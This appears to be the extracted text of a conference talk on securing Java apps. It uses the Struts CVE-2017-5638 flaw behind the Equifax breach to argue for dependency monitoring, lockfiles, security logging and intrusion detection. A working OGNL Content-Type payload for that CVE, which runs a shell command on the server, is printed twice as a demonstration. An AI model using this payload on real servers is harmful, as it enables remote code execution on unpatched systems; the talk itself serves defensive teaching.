WHAT THE STRUTS?
SECURE YOUR JAVA APPS
HELLO
JOE KUTNER
▸ @codefinger
▸ Java Language Owner
Security is hard
SECURITY IS LIKE A RUBIK'S CUBE
Security is an
asymmetric problem
GOOD GUYS & GALS BAD GUYS & GALS
SANITIZE INPUT
2 FACTOR AUTH
WEAK-PASSWORD CHECKS
ENCRYPT DATA AT REST
HTTPS
DEFAULT ADMIN PASSWORD
MORE...
“ANY FOOL CAN THROW A STONE
DOWN A WELL, BUT IT TAKES A
WISE MAN TO GET IT OUT”
–Chinese proverb (probably)
TEXT
LET'S FOCUS ON WHAT WE CAN DO
VECTORS
▸ Platform: OS, Network, CPU
▸ Client: XSS, HTTPS, CSRF, etc
▸ Social Engineering, Physical Security
▸ Application: Dependencies, Authentication,
Authorization, Encryption, etc
▸ Platform: OS, Network, CPU
▸ Client: XSS, HTTPS, CSRF, etc
▸ Social Engineering, Physical Security
▸ Application: Dependencies, Authentication,
Authorization, Encryption, etc
LET'S FOCUS ON WHAT WE CAN DO
VECTORS
STRUTS
WHY IS THIS IMPORTANT?
STRUTS IS EVERYWHERE
▸ RedMonk estimates that at least 65% of the Fortune 100
companies are actively using the Struts framework.
▸ According to the Struts website: Lockheed Martin, the
IRS, Citigroup, Vodafone, Virgin Atlantic, Reader’s
Digest, Office Depot, and SHOWTIME have used the
framework.
SEPTEMBER 7, 2017
https://investor.equifax.com/news-and-events/news/2017/09-07-2017-213000628
Equifax has been intensely investigating the scope of the intrusion with the
assistance of a leading, independent cybersecurity firm to determine what
information was accessed and who has been impacted. We know that
criminals exploited a U.S. website application vulnerability. The vulnerability
was Apache Struts CVE-2017-5638. We continue to work with law
enforcement as part of our criminal investigation, and have shared
indicators of compromise with law enforcement.
Equifax Statement
IT WAS CVE-2017-5638
https://help.equifax.com/s/article/What-was-the-vulnerability
MARCH 10, 2017
https://nvd.nist.gov/vuln/detail/CVE-2017-5638
ADGENDA
▸ CVE-2017-5638 deep dive
▸ How it lead to the Equifax hack
▸ Why it shouldn't have happened
▸ How you can make sure it doesn't happen to you
Demo
HOW IT WORKS
CVE-2017-5638
▸ Send multipart/form-data request to Upload action
▸ Add a Content-Type header with an OGNL expression
▸ Server will execute arbitrary Java code in the expression
#name.toCharArray()[0].numericValue.toString()
(#str=java.lang.Integer.toString(i)

(java.lang.System.out.println(#str))

%{

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?

(#_memberAccess=#dm):

((#container=

#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(

@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).

(#pb=new java.lang.ProcessBuilder({'/bin/bash','-c','whoami'})).

(#process=#pb.start()).

(#out=@org.apache.commons.io.IOUtils@

toString(#process.getInputStream(),null)).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']. 

addHeader('Warning',#out)).

multipart/form-data

}
Content-Type
%{

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?

(#_memberAccess=#dm):

((#container=

#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(

@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).

(#pb=new java.lang.ProcessBuilder({'/bin/bash','-c','whoami'})).

(#process=#pb.start()).

(#out=@org.apache.commons.io.IOUtils@

toString(#process.getInputStream(),null)).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']. 

addHeader('Warning',#out)).

multipart/form-data

}
Content-Type
THE FIX
https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a
return LocalizedTextUtil.findText(
this.getClass(),
errorKey,
defaultLocale,
e.getMessage(),
args);
Contains the value from our
"Content-Type" header
HOW IT HAPPENED...
TIMELINE (2017)
▸ March 6: 

CVE-2017-5638 (S2-045) discovered
▸ March 7: 

Struts 2.3.32 and 2.5.10.1 released with a fix
▸ May to July: 

Equifax says hackers gained unauthorized access to its data
▸ July 29: 

Equifax discovers the hack and immediately stops the intrusion
▸ September 7: 

Equifax officially alerts the public
STRUTS
VERIZON DATA BREACH INVESTIGATIONS REPORT
▸ More than 70% of real-world attacks exploit a known
vulnerability for which a fix is available but has not yet
been applied
http://www.verizonenterprise.com/verizon-insights-lab/dbir/
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
WHY IS THIS IMPORTANT?
STRUTS IS A WAKE-UP CALL!
▸ If a vulnerability was discovered in one of the frameworks
you use, would you know about it?
ARE YOU USING JACKSON?
HOPEFULLY NOT VERSION 2.8.8...
https://github.com/FasterXML/jackson-databind/issues/1599
PREVENT THE USE OF
DEPENDENCIES WITH
KNOWN VULNERABILITIES
CALL TO ACTION
STRATEGIES
AUTOMATE DEPENDENCY MANAGEMENT
▸ Maven Versions Plugin
▸ Snyk.io
▸ Gradle dependency.lock
Demo
MAVEN VERSIONS PLUGIN
$ mvn versions:display-property-updates

...

[INFO] The following version property updates are available:

[INFO] ${flyway.version} ............. 3.2.1 -> 5.0.6

[INFO] ${webjars-jquery.version} ..... 2.2.4 -> 3.2.1

[INFO] ${pgjdbc.version} ............. 42.1.4 -> 42.1.4.jre7
$ mvn versions:update-properties
pom.xml
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>versions-maven-plugin</artifactId>
<version>2.5</version>
<configuration>
<rulesUri>file://${project.basedir}/version-rules.xml</rulesUri>
</configuration>
</plugin>
pom.xml
<ruleset comparisonMethod="maven">
<ignoreVersions>
<ignoreVersion type="regex">.*-beta.*</ignoreVersion>
<ignoreVersion type="regex">.*-alpha.*</ignoreVersion>
<ignoreVersion type="regex">.*-rc.*</ignoreVersion>
<ignoreVersion type="regex">.*.jre7</ignoreVersion>
<ignoreVersion type="regex">.*.jre6</ignoreVersion>
</ignoreVersions>
</ruleset>
NOT GOOD
ENOUGH
pom.xml
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>versions-maven-plugin</artifactId>
<version>2.5</version>
<executions>
<execution>
<phase>site</phase>
<goals>
<goal>dependency-updates-report</goal>
</goals>
</execution>
</executions>
<configuration>
<rulesUri>file://${project.basedir}/version-rules.xml</rulesUri>
</configuration>
</plugin>
http://www.mojohaus.org/versions-maven-plugin/dependency-updates-report.html
STILL NOT GOOD
ENOUGH
https://snyk.io
Continuous Vulnerability 

Detection & Resolution
NOT BAD
BUT STILL NOT
GOOD ENOUGH
MAVEN DOESN'T LOCK TRANSITIVE DEPENDENCIES
$ mvn dependency:tree

[INFO] +- org.springframework.boot:spring-boot-starter-web:jar:2.0.0.
[INFO] | +- org.springframework.boot:spring-boot-starter-json:jar:2.
[INFO] | | +- com.fasterxml.jackson.datatype:jackson-datatype-jdk8:
[INFO] | | +- com.fasterxml.jackson.datatype:jackson-datatype-jsr31
[INFO] | | - com.fasterxml.jackson.module:jackson-module-parameter
[INFO] | +- org.springframework.boot:spring-boot-starter-tomcat:jar:
[INFO] | | +- org.apache.tomcat.embed:tomcat-embed-core:jar:8.5.23:
[INFO] | | | - org.apache.tomcat:tomcat-annotations-api:jar:8.5.2
[INFO] | | +- org.apache.tomcat.embed:tomcat-embed-el:jar:8.5.23:co
[INFO] | | - org.apache.tomcat.embed:tomcat-embed-websocket:jar:8.
...
https://nebula-plugins.github.io/
build.gradle
plugins {
id "nebula.dependency-lock" version "5.0.1"
}
dependencyLock {
includeTransitives = true
}
GENERATE A LOCKFILE
$ ./gradlew generateLock saveLock
dependencies.lock
WARNING: COMPILED CODE! DO NOT EDIT
{
"compile": {
"aopalliance:aopalliance": {
"locked": "1.0",
"transitive": [
"com.google.inject:guice"
]
},
"com.fasterxml.jackson.core:jackson-annotations": {
"locked": "2.9.3",
"transitive": [
"com.fasterxml.jackson.core:jackson-databind",
"com.fasterxml.jackson.datatype:jackson-datatype-jsr310"
]
},
...
THIS IS
GOOD
KNOW YOUR DEPENDENCIES
TAKE ACTION!
1. Automate: mvn versions:update-properties
2. Generate dependency reports
3. Use dependency monitoring: https://snyk.io
4. Use Gradle and dependencies.lock
5. Watch NVD feeds: https://nvd.nist.gov/
STRUTS WAS NOT THE ONLY CULPRIT
MANY REASONS
▸ Using dependencies with known vulnerabilities
▸ Failure to sanitize user input
▸ Lack of network segmentation
▸ Inadequate encryption of PII
▸ Ineffective intrusion detection mechanisms
INTRUSION
DETECTION
CALL TO ACTION
LOGGING
WHAT TO LOG?
▸ Logins (Successful and
Failed)
▸ Logouts
▸ Password changes
▸ User profile changes
▸ Password reset
▸ User de-registration
▸ Authorization failures
▸ Changes to access levels
▸ Operational activities
(backups)
▸ Input validation failures
▸ Any sensitive operation
WHAT NOT TO LOG
▸ Session ID (hash instead)
▸ Passwords
▸ Anything sensitive
WHAT NOT TO LOG
▸ In 2012, Radu Dragusin discovered a log file on a public
IEEE FTP server that contained more than 100,000
usernames and passwords
▸ Google, Apple, Microsoft, Oracle, IBM
IN ADDITION TO INFO, WARN, DEBUG, ETC
HOW TO LOG
▸ SECURITY_SUCCESS
▸ SECURITY_FAILURE
▸ SECURITY_AUDIT
USE CUSTOM MARKERS
LOGBACK
log.warn(SecurityMarkers.SECURITY_AUDIT, 

"Anonymous account access. Forwarding to login");
log.error(SecurityMarkers.SECURITY_FAILURE, 

"Unauthorized user {} attempted admin access",

user.getUsername());
YOUR LOGS SHOULD BE ABLE TO ANSWER THESE QUESTIONS
LOGGING
▸ What happened?
▸ Who did it?
▸ When did it happen?
▸ How was our security circumvented?
▸ What data was viewed or modified?
▸ How can we prevent this from happening again?
DETECTION
OWASP APP SENSOR PROJECT
▸ Detect and respond to attacks from within the application
APP LAYER INTRUSION DETECTION
▸ Traditional intrusion detection systems focus on attacks
below the HTTP layer
▸ They do not provide context within the application
environment
http://www.appsensor.org/
WEB APP APPSENSOR
Events
Response
WEB APP APPSENSOR
HEY, THIS
LOOKS WEIRD
NAH, IT'S 

COOL
WEB APP APPSENSOR
LOOKS LIKE
AN ATTACK!
OK, I'LL
BLOCK THAT
USER
HEY, THIS
LOOKS WEIRD
WEB APP APPSENSOR
Event
Event
Event
Attack!
Response
Action
Demo
@Path("/accounts") public class AccountViewHandler {
@Inject
AppSensorClient ids;
@GET @Path("/view") Account findAccount(@QueryParam("id") String id)
throws NotAuthorizedException {
User user = UserContext.getCurrentUser();
if (!user.isAuthorized(Data.Account, id)) {
Event event = new Event(
new User(
user.getUsername()),
DetectionPoints.BRUTE_FORCE_ACCOUNT);
ids.addEvent(event);
throw new NotAuthorizedException(
"Not authorized to access this account.");
}
Account account = accountDao.find(id);
return account;
}
}
TAKE ACTION
INTRUSION DETECTION
▸ Log all security related actions
▸ Except secrets
▸ Monitor your logs
▸ Add Detection Points
▸ React to Detection Point Triggers
APACHE STRUTS STATEMENT ON EQUIFAX SECURITY BREACH
RECOMMENDATIONS
▸ Understand which supporting frameworks and libraries are used in your software products and in
which versions. Keep track of security announcements affecting this products and versions.
▸ Establish a process to quickly roll out a security fix release of your software product once supporting
frameworks or libraries needs to be updated for security reasons. Best is to think in terms of hours or
a few days, not weeks or months. Most breaches we become aware of are caused by failure to update
software components that are known to be vulnerable for months or even years.
▸ Any complex software contains flaws. Don't build your security policy on the assumption that
supporting software products are flawless, especially in terms of security vulnerabilities.
▸ Establish security layers. It is good software engineering practice to have individually secured layers
behind a public-facing presentation layer such as the Apache Struts framework. A breach into the
presentation layer should never empower access to significant or even all back-end information
resources. 
▸ Establish monitoring for unusual access patterns to your public Web resources. Nowadays there are a
lot of open source and commercial products available to detect such patterns and give alerts. We
recommend such monitoring as good operations practice for business critical Web-based services.
https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax
APACHE STRUTS STATEMENT ON EQUIFAX SECURITY BREACH
RECOMMENDATIONS
▸ Know your dependencies
▸ Thou shall have Continuous Deployment
▸ Remember that software is insecure
▸ Thou shall have security layers
▸ Thou shall monitor for unusual patterns
GOODBYE
THANK YOU
▸ @codefinger
▸ heroku.com

What the Struts?